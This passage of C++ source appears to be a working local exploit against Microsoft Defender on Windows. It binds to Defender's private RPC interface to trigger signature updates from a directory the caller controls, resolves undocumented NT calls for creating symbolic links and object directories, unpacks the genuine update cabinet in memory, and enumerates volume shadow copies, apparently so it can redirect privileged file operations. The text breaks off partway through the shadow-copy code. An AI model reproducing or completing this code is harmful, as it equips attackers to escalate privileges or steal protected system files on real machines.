
#define _CRT_SECURE_NO_WARNINGS

#include <iostream>
#include <Windows.h>
#include <Lmcons.h>
#include <wininet.h>
#include <string.h>
#include <fdi.h>
#include <fcntl.h>
#include <winternl.h>
#include <conio.h>
#include <Shlwapi.h>
#include <ktmw32.h>
#include <wuapi.h>
#include <ntstatus.h>
#include <cfapi.h>
#include <aclapi.h>
#include "windefend_h.h"

/*
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/aes.h>
#include <openssl/evp.h>
#include <openssl/sha.h>
#include <openssl/provider.h>
#include <openssl/hmac.h>
*/
#include "offreg.h"
#define _NTDEF_
#include <ntsecapi.h>
#include <sddl.h>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "ktmw32.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Cabinet.lib")
#pragma comment(lib, "Wuguid.lib")
#pragma comment(lib,"CldApi.lib")


/// NT routines and definitions
HMODULE hm = GetModuleHandle(L"ntdll.dll");
NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
	OUT PHANDLE             pHandle,
	IN ACCESS_MASK          DesiredAccess,
	IN POBJECT_ATTRIBUTES   ObjectAttributes,
	IN PUNICODE_STRING      DestinationName) = (NTSTATUS(WINAPI*)(
		OUT PHANDLE             pHandle,
		IN ACCESS_MASK          DesiredAccess,
		IN POBJECT_ATTRIBUTES   ObjectAttributes,
		IN PUNICODE_STRING      DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
	PHANDLE            DirectoryHandle,
	ACCESS_MASK        DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes
	) = (NTSTATUS(WINAPI*)(
		PHANDLE            DirectoryHandle,
		ACCESS_MASK        DesiredAccess,
		POBJECT_ATTRIBUTES ObjectAttributes
		))GetProcAddress(hm, "NtOpenDirectoryObject");;
NTSTATUS(WINAPI* _NtQueryDirectoryObject)(
	HANDLE  DirectoryHandle,
	PVOID   Buffer,
	ULONG   Length,
	BOOLEAN ReturnSingleEntry,
	BOOLEAN RestartScan,
	PULONG  Context,
	PULONG  ReturnLength
	) = (NTSTATUS(WINAPI*)(
		HANDLE  DirectoryHandle,
		PVOID   Buffer,
		ULONG   Length,
		BOOLEAN ReturnSingleEntry,
		BOOLEAN RestartScan,
		PULONG  Context,
		PULONG  ReturnLength
		))GetProcAddress(hm, "NtQueryDirectoryObject");
NTSTATUS(WINAPI* _NtSetInformationFile)(
	HANDLE                 FileHandle,
	PIO_STATUS_BLOCK       IoStatusBlock,
	PVOID                  FileInformation,
	ULONG                  Length,
	FILE_INFORMATION_CLASS FileInformationClass
	) = (NTSTATUS(WINAPI*)(
		HANDLE                 FileHandle,
		PIO_STATUS_BLOCK       IoStatusBlock,
		PVOID                  FileInformation,
		ULONG                  Length,
		FILE_INFORMATION_CLASS FileInformationClass
		))GetProcAddress(hm, "NtSetInformationFile");

NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)(
	OUT PHANDLE             DirectoryHandle,
	IN ACCESS_MASK          DesiredAccess,
	IN POBJECT_ATTRIBUTES   ObjectAttributes,
	IN HANDLE ShadowDirectoryHandle,
	IN ULONG Flags) =
	(NTSTATUS(WINAPI*)(
		OUT PHANDLE             DirectoryHandle,
		IN ACCESS_MASK          DesiredAccess,
		IN POBJECT_ATTRIBUTES   ObjectAttributes,
		IN HANDLE ShadowDirectoryHandle,
		IN ULONG Flags))GetProcAddress(hm,"NtCreateDirectoryObjectEx");

#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))


typedef struct _FILE_DISPOSITION_INFORMATION_EX {
	ULONG Flags;
} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
typedef struct _OBJECT_DIRECTORY_INFORMATION {
	UNICODE_STRING Name;
	UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;

typedef struct _REPARSE_DATA_BUFFER {
	ULONG  ReparseTag;
	USHORT ReparseDataLength;
	USHORT Reserved;
	union {
		struct {
			USHORT SubstituteNameOffset;
			USHORT SubstituteNameLength;
			USHORT PrintNameOffset;
			USHORT PrintNameLength;
			ULONG Flags;
			WCHAR PathBuffer[1];
		} SymbolicLinkReparseBuffer;
		struct {
			USHORT SubstituteNameOffset;
			USHORT SubstituteNameLength;
			USHORT PrintNameOffset;
			USHORT PrintNameLength;
			WCHAR PathBuffer[1];
		} MountPointReparseBuffer;
		struct {
			UCHAR  DataBuffer[1];
		} GenericReparseBuffer;
	} DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)

//////////////// NT DEF END


// definitions of structures used by threads that invoke WD RPC calls
struct WDRPCWorkerThreadArgs
{
	HANDLE hntfythread;
	HANDLE hevent;
	RPC_STATUS res;
	wchar_t* dirpath;
};

typedef struct tagMPCOMPONENT_VERSION {
	ULONGLONG      Version;
	ULARGE_INTEGER UpdateTime;
} MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION;

typedef struct tagMPVERSION_INFO {
	MPCOMPONENT_VERSION Product;
	MPCOMPONENT_VERSION Service;
	MPCOMPONENT_VERSION FileSystemFilter;
	MPCOMPONENT_VERSION Engine;
	MPCOMPONENT_VERSION ASSignature;
	MPCOMPONENT_VERSION AVSignature;
	MPCOMPONENT_VERSION NISEngine;
	MPCOMPONENT_VERSION NISSignature;
	MPCOMPONENT_VERSION Reserved[4];
} MPVERSION_INFO, * PMPVERSION_INFO;

typedef union Version {
	struct {
		WORD major;
		WORD minor;
		WORD build;
		WORD revision;
	};
	ULONGLONG QuadPart;
};
//////////////////


// structures and global vars used by definition update functions
void* cabbuff2 = NULL;
DWORD cabbuffsz = 0;
struct CabOpArguments {
	ULONG index;
	char* filename;
	size_t ptroffset;
	char* buff;
	DWORD FileSize;
	CabOpArguments* first;
	CabOpArguments* next;
};

struct UpdateFiles {
	char filename[MAX_PATH];
	void* filebuff;
	DWORD filesz;
	bool filecreated;
	HANDLE hsymlink;
	UpdateFiles* next;
};
///////////////////////////////////////


// structures and global vars used by volume shadow copy functions
struct cldcallbackctx {

	HANDLE hnotifywdaccess;
	HANDLE hnotifylockcreated;
	wchar_t filename[MAX_PATH];
};

struct LLShadowVolumeNames
{
	wchar_t* name;
	LLShadowVolumeNames* next;
};

struct cloudworkerthreadargs {
	HANDLE hlock;
	HANDLE hcleanupevent;
	HANDLE hvssready;
};
///////////////////////////////////////



//////////////////////////////////////////////////////////////////////
// Functions required by RPC
/////////////////////////////////////////////////////////////////////

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
	return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
	free(p);
}
//////////////////////////////////////////////////////////////////////
// Functions required by RPC end
/////////////////////////////////////////////////////////////////////




//////////////////////////////////////////////////////////////////////
// WD RPC functions
/////////////////////////////////////////////////////////////////////
void ThrowFunc()
{
	throw 0;
}

void RaiseExceptionInThread(HANDLE hthread)
{
	CONTEXT ctx = { 0 };
	ctx.ContextFlags = CONTEXT_FULL;
	SuspendThread(hthread);

	if (GetThreadContext(hthread, &ctx))
	{
		ctx.Rip = (DWORD64)ThrowFunc;
		SetThreadContext(hthread, &ctx);
		ResumeThread(hthread);
	}
}

void CallWD(WDRPCWorkerThreadArgs* args)
{
	RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839";
	RPC_WSTR StringBinding;
	if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK)
	{
		printf("Unexpected error while building an RPC binding from string !!!");
		RaiseExceptionInThread(args->hntfythread);
		return;
	}
	RPC_BINDING_HANDLE bindhandle = 0;
	if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK)
	{
		printf("Failed to connect to windows defender RPC port !!!");
		RaiseExceptionInThread(args->hntfythread);
		return;
	}
	error_status_t errstat = 0;
	printf("Calling ServerMpUpdateEngineSignature...\n");
	//_getch();
	RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat);
	args->res = stat;
	if (args->hevent)
		SetEvent(args->hevent);

}

DWORD WINAPI WDCallerThread(void* args)
{
	if (!args)
		return ERROR_BAD_ARGUMENTS;
	CallWD((WDRPCWorkerThreadArgs*)args);
	return ERROR_SUCCESS;

}
//////////////////////////////////////////////////////////////////////
// WD RPC functions end
/////////////////////////////////////////////////////////////////////




//////////////////////////////////////////////////////////////////////
// WD definition update functions
/////////////////////////////////////////////////////////////////////

CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode)
{

	CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments));
	ZeroMemory(cbps, sizeof(CabOpArguments));
	cbps->buff = (char*)cabbuff2;
	cbps->FileSize = cabbuffsz;
	return cbps;
}

INT CUST_FNSEEK(HANDLE hf,
	long offset,
	int origin)
{

	if (hf)
	{
		CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
		if (origin == SEEK_SET)
			CabOpArgs->ptroffset = offset;
		if (origin == SEEK_CUR)
			CabOpArgs->ptroffset += offset;
		if (origin == SEEK_END)
			CabOpArgs->ptroffset += CabOpArgs->FileSize;

		return CabOpArgs->ptroffset;

	}

	return -1;
}


UINT CUST_FNREAD(CabOpArguments* hf,
	void* const buffer,
	unsigned const buffer_size)
{

	if (hf)
	{
		CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
		if (CabOpArgs->buff)
		{

			memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size);
			CabOpArgs->ptroffset += buffer_size;
			//CabOpArgs->ReadBytes += buffer_size;
			return buffer_size;
		}
	}

	return NULL;
}

UINT CUST_FNWRITE(CabOpArguments* hf,
	const void* buffer,
	unsigned int count)
{

	if (hf)
	{
		if (hf->buff) {
			memmove(&hf->buff[hf->ptroffset], buffer, count);
			hf->ptroffset += count;
			return count;
		}
	}


	return NULL;
}

INT CUST_FNCLOSE(CabOpArguments* fnFileClose)
{

	free(fnFileClose);
	return 0;
}

VOID* CUST_FNALLOC(size_t cb)
{
	return malloc(cb);
}

VOID CUST_FNFREE(void* buff)
{
	free(buff);
}

INT_PTR CUST_FNFDINOTIFY(
	FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION    pfdin
) {

	//printf("_FNFDINOTIFY : %d\n", fdinotify);
	wchar_t newfile[MAX_PATH] = { 0 };
	wchar_t filename[MAX_PATH] = { 0 };
	HANDLE hfile = NULL;
	ULONG rethandle = 0;
	CabOpArguments** ptr = NULL;
	CabOpArguments* lcab = NULL;
	switch (fdinotify)
	{
	case fdintCOPY_FILE:
		if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0)
			return NULL;

		ptr = (CabOpArguments**)pfdin->pv;
		lcab = *ptr;
		if (lcab == NULL) {
			lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments));
			ZeroMemory(lcab, sizeof(CabOpArguments));
			lcab->first = lcab;
			lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
			ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
			memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
			lcab->FileSize = pfdin->cb;
			lcab->buff = (char*)malloc(lcab->FileSize);
			ZeroMemory(lcab->buff, lcab->FileSize);
		}
		else
		{
			lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments));
			ZeroMemory(lcab->next, sizeof(CabOpArguments));
			lcab->next->first = lcab->first;
			lcab = lcab->next;

			lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
			ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
			memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
			lcab->FileSize = pfdin->cb;
			lcab->buff = (char*)malloc(lcab->FileSize);
			ZeroMemory(lcab->buff, lcab->FileSize);
		}

		lcab->first->index++;
		*ptr = lcab;



		return (INT_PTR)lcab;
		break;
	case fdintCLOSE_FILE_INFO:
		return TRUE;
		break;
	default:
		return 0;
	}
	return 0;
}

void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz)
{
	if (cbRawData < sizeof(IMAGE_DOS_HEADER))
	{
		return 0;
	}

	if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE)
	{
		return 0;
	}

	ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS);

	if (e_lfanew >= s || s > cbRawData)
	{
		return 0;
	}

	PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew);



	if (pinth->Signature != IMAGE_NT_SIGNATURE)
	{
		return 0;
	}

	ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders;

	s = e_lfanew + SizeOfHeaders;

	if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData)
	{
		return 0;
	}

	s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader;

	if (s > SizeOfHeaders)
	{
		return 0;
	}

	ULONG NumberOfSections = pinth->FileHeader.NumberOfSections;

	PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s);

	ULONG Size;

	if (NumberOfSections)
	{
		if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders)
		{
			return 0;
		}

		do
		{
			if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData))
			{
				union {
					ULONG VirtualAddress, PointerToRawData;
				};

				VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size;

				if (VirtualAddress > s || s > SizeOfImage)
				{
					return 0;
				}

				PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size;

				if (PointerToRawData > s || s > cbRawData)
				{
					return 0;
				}

				char rsrc[] = ".rsrc";
				if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0)
				{
					typedef struct _IMAGE_RESOURCE_DIRECTORY2 {
						DWORD   Characteristics;
						DWORD   TimeDateStamp;
						WORD    MajorVersion;
						WORD    MinorVersion;
						WORD    NumberOfNamedEntries;
						WORD    NumberOfIdEntries;
						IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];
					} IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2;

					PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData);

					PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird;
					PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 };
					PIMAGE_RESOURCE_DATA_ENTRY pdata = 0;

					while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries)
					{




						pirde = &pird->DirectoryEntries[0];
						if (!pirde->DataIsDirectory)
						{
							pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData);
							pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData;
							void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData);
							if (cabsz)
								*cabsz = pdata->Size;
							return cabfile;
						}
						pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory);
					}
					break;




				}



			}

		} while (pish++, --NumberOfSections);
	}
	return NULL;

}


UpdateFiles* GetUpdateFiles(int* filecount = NULL)
{



	HINTERNET hint = NULL;
	HINTERNET hint2 = NULL;
	char data[0x1000] = { 0 };
	DWORD index = 0;
	DWORD sz = sizeof(data);
	bool res2 = 0;
	wchar_t filesz[50] = { 0 };
	LARGE_INTEGER li = { 0 };
	GUID uid = { 0 };
	RPC_WSTR wuid = { 0 };
	wchar_t* wuid2 = 0;
	wchar_t envstr[MAX_PATH] = { 0 };
	wchar_t mpampath[MAX_PATH] = { 0 };
	HANDLE hmpap = NULL;
	void* exebuff = NULL;
	DWORD readsz = 0;
	HANDLE hmapping = NULL;
	void* mappedbuff = NULL;
	HRSRC hres = NULL;
	DWORD ressz = NULL;
	HGLOBAL cabbuff = NULL;
	char fname[] = "update.cab";
	ERF erfstruct = { 0 };
	HFDI hcabctx = NULL;
	bool extractres = false;
	DWORD totalsz = 0;
	HANDLE hmpeng = NULL;
	CabOpArguments* CabOpArgs = NULL;
	CabOpArguments* mpenginedata = NULL;
	void* dllview = NULL;
	char** filesmtrx = 0;
	UpdateFiles* firstupdt = NULL;
	UpdateFiles* current = NULL;

	DWORD nbytes = 0;


	printf("Downloading updates...\n");
	hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
	if (!hint)
	{
		printf("Failed to open internet, error : %d", GetLastError());
		goto cleanup;
	}

	hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL);
	//InternetCloseHandle(hint);
	if (!hint2)
	{
		printf("Failed to open internet URL, error : %d", GetLastError());
		goto cleanup;
	}

	res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index);
	if (!res2)
	{
		printf("Failed to query update size, error : %d", GetLastError());
		goto cleanup;
	}


	wcscpy(filesz, (LPWSTR)data);
	sz = _wtoi(filesz);
	li.QuadPart = sz;


	exebuff = malloc(sz);
	if (!exebuff)
	{
		printf("Failed to allocate memory to download file !!!");
		goto cleanup;
	}
	ZeroMemory(exebuff, sz);

	if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz)
	{

		printf("Failed to download update from internet, error : %d", GetLastError());
		goto cleanup;
	}
	InternetCloseHandle(hint);
	hint = NULL;
	InternetCloseHandle(hint2);
	hint = NULL;
	printf("Done.\n");
	mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz);



	if (!mappedbuff)
	{
		printf("Failed to retrieve cabinet file from downloaded file.\n");
		goto cleanup;
	}
	printf("Cabinet file mapped at 0x%p\n", mappedbuff);




	cabbuff2 = mappedbuff;
	cabbuffsz = ressz;

	printf("Extracting cab file content...\n");
	hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct);
	if (!hcabctx)
	{
		printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper);
		goto cleanup;
	}



	extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs);
	if (!extractres)
	{
		printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper);
		goto cleanup;
	}
	FDIDestroy(hcabctx);
	hcabctx = NULL;

	if (!CabOpArgs)
	{
		printf("Unexpected empty buffer after extracting cab file.\n");
		return NULL;
	}

	CabOpArgs = CabOpArgs->first;

	firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles));
	ZeroMemory(firstupdt, sizeof(UpdateFiles));
	current = firstupdt;
	while (CabOpArgs)
	{
		if (filecount)
			*filecount += 1;
		strcpy(current->filename, CabOpArgs->filename);
		DWORD buffsz = CabOpArgs->FileSize;
		current->filebuff = malloc(buffsz);
		memmove(current->filebuff, CabOpArgs->buff, buffsz);
		current->filesz = buffsz;
		CabOpArgs = CabOpArgs->next;
		if (CabOpArgs)
		{
			current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles));
			ZeroMemory(current->next, sizeof(UpdateFiles));
			current = current->next;
		}

	}
	printf("Cab file content extracted.\n");


cleanup:

	if (CabOpArgs)
	{
		CabOpArguments* current = CabOpArgs->first;
		while (current)
		{
			free(current->buff);
			free(current->filename);
			CabOpArgs = current;
			current = current->next;
			free(CabOpArgs);
		}
	}
	if (hint)
		InternetCloseHandle(hint);
	
	if (hint2)
		InternetCloseHandle(hint2);
	if (exebuff)
		free(exebuff);

	return firstupdt;


}

bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr)
{



	IUpdateSearcher* updsrch = 0;
	bool updatesfound = false;
	IUpdateSession* updsess = 0;
	CLSID clsid;
	HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid);
	ISearchResult* srchres = 0;
	IUpdateCollection* updcollection = 0;
	LONG updnum = 0;
	BSTR title = 0;
	BSTR desc = 0;
	ICategoryCollection* catcoll = 0;
	ICategory* cat = 0;
	BSTR catname = 0;
	IUpdate* upd = 0;
	bool comini = CoInitialize(NULL) == 0;
	if (!comini) {
		printf("Failed to initialize COM\n");
		*criterr = true;
		return false;
	}




	hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess);

	if (!updsess)
	{
		printf("CoCreateInstance returned a NULL pointer.\n");
		*criterr = true;
		goto cleanup;
	}
	//printf("CoCreateInstance : 0x%p\n", updsess);


	hr = updsess->CreateUpdateSearcher(&updsrch);
	if (hr)
	{
		printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr);
		*criterr = true;
		goto cleanup;
	}

	if (!updsrch)
	{
		printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n");
		*criterr = true;
		goto cleanup;
	}
	//printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch);
	//printf("Checking for updates, please wait...\n");
	hr = updsrch->Search(SysAllocString(L""), &srchres);
	if (hr)
	{
		printf("ISearchResult->Search failed with error : 0x%0.X", hr);
		*criterr = true;
		goto cleanup;
	}
	//printf("ISearchResult->Search : 0x%p\n", srchres);

	hr = srchres->get_Updates(&updcollection);
	if (hr)
	{
		printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr);
		*criterr = true;
		goto cleanup;
	}

	if (!updcollection)
	{
		printf("IUpdateCollection->get_Updates returned a NULL pointer.\n");
		*criterr = true;
		goto cleanup;
	}
	//printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection);


	hr = updcollection->get_Count(&updnum);
	if (hr)
	{
		printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr);
		*criterr = true;
		goto cleanup;
	}
	//printf("Updates count : %d\n", updnum);

	for (LONG i = 0; i < updnum; i++)
	{
		if (upd)
		{
			upd->Release();
			upd = 0;
		}
		title = 0;
		desc = 0;
		catname = 0;
		//printf("_________________________________________\n");
		bool IsWdUdpate = false;
		bool IsSigUpdate = false;
		hr = updcollection->get_Item(i, &upd);
		if (hr)
		{
			printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr);
			*criterr = true;
			goto cleanup;
		}
		if (!upd)
		{
			printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
			*criterr = true;
			goto cleanup;
		}
		//printf("Update number : %d\n", i + 1);

		hr = upd->get_Title(&title);
		if (hr)
		{
			printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr);
			continue;
		}
		if (!title)
		{
			printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
			continue;
		}
		title[SysStringLen(title)] = NULL;
		//printf("Title : %ws\n", title);

		/*
		desc = 0;
		upd->get_Description(&desc);
		if (!desc)
		{
			printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
			continue;
		}
		desc[SysStringLen(desc)] = NULL;
		printf("Description : %ws\n", desc);
		*/
		catcoll = 0;
		hr = upd->get_Categories(&catcoll);
		if (!catcoll)
		{
			printf("IUpdateCollection->get_Categories returned a NULL pointer.\n");
			continue;
		}
		LONG catcount = 0;
		hr = catcoll->get_Count(&catcount);
		for (LONG j = 0; j < catcount; j++)
		{
			cat = 0;
			hr = catcoll->get_Item(j, &cat);
			if (!cat)
			{
				printf("ICategoryCollection->get_Item returned NULL pointer.\n");
				continue;
			}
			catname = 0;
			cat->get_Name(&catname);
			catname[SysStringLen(catname)] = NULL;
			//printf("Category name : %ws\n", catname);
			if (catname)
			{
				if (!IsWdUdpate)
					IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0;
				if (!IsSigUpdate)
					IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0;

			}

		}
		updatesfound = IsWdUdpate && IsSigUpdate;
		if (updatesfound)
			break;
	}

	if (updatesfound && updatetitle) {
		memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t));
	}

cleanup:
	if (updcollection)
		updcollection->Release();
	if (srchres)
		srchres->Release();
	if (updsrch)
		updsrch->Release();
	if (updsess)
		updsess->Release();
	if (upd)
		upd->Release();
	CoUninitialize();


	return updatesfound;
}

//////////////////////////////////////////////////////////////////////
// WD definition update functions end
/////////////////////////////////////////////////////////////////////


//////////////////////////////////////////////////////////////////////
// Volume shadow copy functions
/////////////////////////////////////////////////////////////////////

void rev(char* s) {

	// Initialize l and r pointers
	int l = 0;
	int r = strlen(s) - 1;
	char t;

	// Swap characters till l and r meet
	while (l < r) {

		// Swap characters
		t = s[l];
		s[l] = s[r];
		s[r] = t;

		// Move pointers towards each other
		l++;
		r--;
	}
}

void DestroyVSSNamesList(LLShadowVolumeNames* First)
{
	while (First)
	{
		free(First->name);
		LLShadowVolumeNames* next = First->next;
		free(First);
		First = next;
	}
}

LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode)
{


	if (!criticalerr || !vscnumber || !errorcode)
		return NULL;

	*vscnumber = 0;
	ULONG scanctx = 0;
	ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
	ULONG retsz = 0;
	OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
	if (!objdirinfo)
	{
		printf("Failed to allocate required buffer to query object manager directory.\n");
		*criticalerr = true;
		*errorcode = ERROR_NOT_ENOUGH_MEMORY;
		return NULL;
	}
	ZeroMemory(objdirinfo, reqsz);
	NTSTATUS stat = STATUS_SUCCESS;
	do
	{
		stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz);
		if (stat == STATUS_SUCCESS)
			break;
		else if (stat != STATUS_MORE_ENTRIES)
		{
			printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
			*criticalerr = true;
			*errorcode = RtlNtStatusToDosError(stat);
			return NULL;
		}

		free(objdirinfo);
		reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
		objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
		if (!objdirinfo)
		{
			printf("Failed to allocate required buffer to query object manager directory.\n");
			*criticalerr = true;
			*errorcode = ERROR_NOT_ENOUGH_MEMORY;
			return NULL;
		}
		ZeroMemory(objdirinfo, reqsz);
	} while (1);
	void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
	ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
	LLShadowVolumeNames* LLVSScurrent = NULL;
	LLShadowVolumeNames* LLVSSfirst = NULL;
	for (ULONG i = 0; i < ULONG_MAX; i++)
	{
		if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
		{
			free(emptybuff);
			break;
		}
		if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
		{
			wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
			if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
			{
				if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
				{
					(*vscnumber)++;
					if (LLVSScurrent)
					{
						LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
						if (!LLVSScurrent->next)
						{
							printf("Failed to allocate memory.\n");
							*criticalerr = true;
							*errorcode = ERROR_NOT_ENOUGH_MEMORY;
							DestroyVSSNamesList(LLVSSfirst);
							free(objdirinfo);
							return NULL;
						}
						ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames));
						LLVSScurrent = LLVSScurrent->next;
						LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
						if (!LLVSScurrent->name)
						{
							printf("Failed to allocate memory !!!\n");
							*errorcode = ERROR_NOT_ENOUGH_MEMORY;
							*criticalerr = true;
							DestroyVSSNamesList(LLVSSfirst);
							free(objdirinfo);
							return NULL;
						}
						ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
						memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
					}
					else
					{
